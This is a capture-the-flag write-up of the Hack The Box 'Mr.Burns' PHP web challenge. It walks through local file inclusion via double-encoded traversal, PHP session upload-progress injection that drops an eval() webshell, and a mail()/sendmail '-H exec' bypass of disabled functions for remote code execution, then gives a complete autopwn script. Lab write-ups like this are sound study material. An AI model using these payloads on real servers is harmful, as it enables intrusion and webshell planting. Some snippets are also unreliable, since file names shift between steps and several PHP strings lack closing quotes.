Mr.Burns - Hack The Box Challenge

4 minute read

  4 minute read

mrburns htb

Mr.Burns is a web challenge where you will have to take advantage of a local file inclusion to convert it into command execution with all the functions to execute commands disabled and then obtain remote code execution by taking advantage of the mail function.

First of all, run the instance or the docker, and download the files from hack the box.

mrburns htb 1

Local File Inclusion (LFI)

After inspecting the source code , i found a potential LFI, this is through the endpoint /miner/

Example adding to the url /miner/hi:

mrburns htb 2

I found that /tmp/ contains demo_miner.log, and I tried to get it through /miner/ endpoint untill i was able to get it adding:

/miner/../../../../tmp/demo_miner.log but being the url encoded twice.

You can encode it by an online tool.

%252Fminer%252F..%252F..%252F..%252F..%252Ftmp%252Fdemo_miner.log

So the request will be:

http://46.101.39.64:31568/miner/%252Fminer%252F..%252F..%252F..%252F..%252Ftmp%252Fdemo_miner.log

And the response from the server:

mrburns htb 3

On the other hand, by reading the readflag.c file we can expect the flag would be in the path /root/flag

To access it we have to run the binary readflag.c which will escalate our privilege to root temporarly in order to output it and get the flag.

Local File Inclusion to Code Execution (LFI to CE)

Through http://46.101.39.64:31568/info we can see the phpinfo() of the website. The PHP version is PHP Version 7.4.8, the server API is FPM/FastCGI

And some disable functions :

disable_functions, exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create	exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create

Also we can access only files in /www/ or /tmp/

mrburns htb 4

There’s a bug, in this case will be an exploit which consist in a PHP Session Data Injection Vulnerability:

https://bugs.php.net/bug.php?id=71101

mrburns htb 5

Because session.upload_progress.enabile, if we provide a PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, the session will be created in /tmp/ with the prefix upload_progress_ as data. The prefix will be followed any things you want.

So if we manage to call some script with this vuln through the LFI, the session that we created in /tmp/ we will be able to have php code execution.

So we’ll do a python script:

def str_to_B64(data):
    b64 = base64.b64encode(data.encode('ascii'))
    return b64

php_file = "exploit_php.php"
session = "session-injection"
tmp_dir = "../../../tmp/"
tmp_dir = urllib.parse.quote(tmp_dir,safe='')

encoded_code = str_to_B64("<?php eval(urldecode($_GET['command']))?>")
cookies = {"PHPSESSID" : session}
payload = {
    "PHP_SESSION_UPLOAD_PROGRESS":
        """<?php
        $file = '/www/{}';
        $handle = fopen($file, 'w');
        fwrite($handle, base64_decode('{}'));
        fclose($handle);
        ?>
        """.format(php_file,encoded_code)
}

file = {"file": ('file.txt','slow' * 250000)}

requests.post(url + "/info", cookies = cookies, data = payload, files = file)

r = requests.get(url + "/miner/" + tmp_dir + "sess_" + session)
if "Warning" in r.text:
    sys.exit("- This doesn't work")
    
print("+ Sucessful CE") 

The session that we want to create in /tmp/ will be named session-injection, and the php file that we want to create in /www/ through php code execution will be named exploit.php. Because we have php code execution, we want to create a file in /www/ were we can test some php code to get the flag. The file variable, is here to slowdown the upload progression, so we can have time to do a GET request through the LFI to /tmp/session-injection before his data is cleared.

So if we run the script with the following command:

python3 exploit.py http://138.68.148.149:31843

Output:

Sucessful CE

The php code has been successfully executed by the server

It works.

Code Execution to Remote Code Execution (CE to RCE)

In PHP when the function mail() is executed, the sendmail binary is called https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html, and allow us to have RCE.

Interesting thing, /info indicates that sendmail is on the box.

Let’s try to trigger that command by creating a file hack.php and put this code in it through exploit.php.

The php code that we want to put in hack.php will look like this :

<?php mail('', '', '', '', '-H "exec /www/getflag"'); ?>

The php code that we gonna execute through exploit.php look like this :

$file = '/www/pwn.php; 
$handle = fopen($file, 'w'); 
fwrite($handle,base64_decode('PD9waHAgbWFpbCgnJywgJycsICcnLCAnJywgJy1IICJleGVjIC9yZWFkZmxhZyA+IC93d3cvZmxhZy50eHQgIicpOyA/Pg==')); 
fclose($handle);

About the script we create a bash script file in /www/, put some code in it, and chmod it, it will be executed by mail().

So the steps:

  • Create the hack.php file

  • Create a bash script named « getflag » with this in it :

/readflag > /www/flag.txt 
rm -r /www/pwn.php 
rm -r /www/getflag

When doing a GET request to /hack.php, the mail() function will be executed, which will call the sendmail binary, that will run our getflag bash script. Then the flag will be saved in the file /www/flag.txt.

If we run the script we’ll get the flag

python3 exploit.py http://206.189.121.131:32167

Output:

+ Sucessful RCE

+ Flag:
HTB{XXXXXXXXXXXXXXXXXXXXXXX}

Autopwn

import requests
import sys
import base64


if (len(sys.argv)==2):
	url=sys.argv[1]
else:
    print("-------------------------- ERROR FOUND -----------------------")
    print("Usage: "+str(sys.argv[0])+"http://url:port") # error msg
    exit()

def str_to_B64(data):
    b64 = base64.b64encode(data.encode('ascii'))
    return b64

php_file = "exploit.php"
session = "session-injection"
tmp_dir = "../../../../tmp/".replace("/", "%2f").replace(".", "%2e").replace("%", "%25")

encoded_code = str_to_B64("<?php eval(urldecode($_GET['command']))?>")
cookies = {"PHPSESSID" : session}
payload = {
    "PHP_SESSION_UPLOAD_PROGRESS":
        """<?php
        $file = '/www/{}';
        $handle = fopen($file, 'w');
        fwrite($handle,base64_decode('{}'));
        fclose($handle);
        ?>
        """.format(php_file,encoded_code)
}

file = {"file": ('file.txt','slow' * 250000)}

requests.post(url + "/info", cookies = cookies, data = payload, files = file)

r = requests.get(url + "/miner/" + tmp_dir + "sess_" + session)

if "Warning" in r.text:
    sys.exit("- This doesn't work")
    
print("+ Sucessful RCE" + "\n") 

##Second part CE to RCE
## hack.php

bash_file = "getflag"
b64data = str_to_B64("<?php mail('', '', '', '', '-H \"exec /www/{}\"'); ?>".format(bash_file))
command = """
    $file = '/www/hack.php; 
    $handle = fopen($file, 'w'); 
    fwrite($handle,base64_decode('%s')); 
    fclose($handle);

    """ % (b64data)

requests.get(url + '/{}?command='.format(php_file) + command)

## getflag

code = """
        /readflag > /www/flag.txt 
        rm -r /www/hack.php 
        rm -r /www/{}
        """.format(bash_file)

b64data = str_to_B64(code)
command = """
    $file = '/www/{}; 
    $handle = fopen($file, 'w'); 
    fwrite($handle,base64_decode('{}')); 
    fclose($handle);
    chmod('/www/{}',0777);
    """.format(bash_file,b64data,bash_file)
    
requests.get(url + '/{}?command='.format(php_file) + command)
requests.get(url + "/hack.php")

r = requests.get(url + "/flag.txt")
print("+ Flag:" + r.text)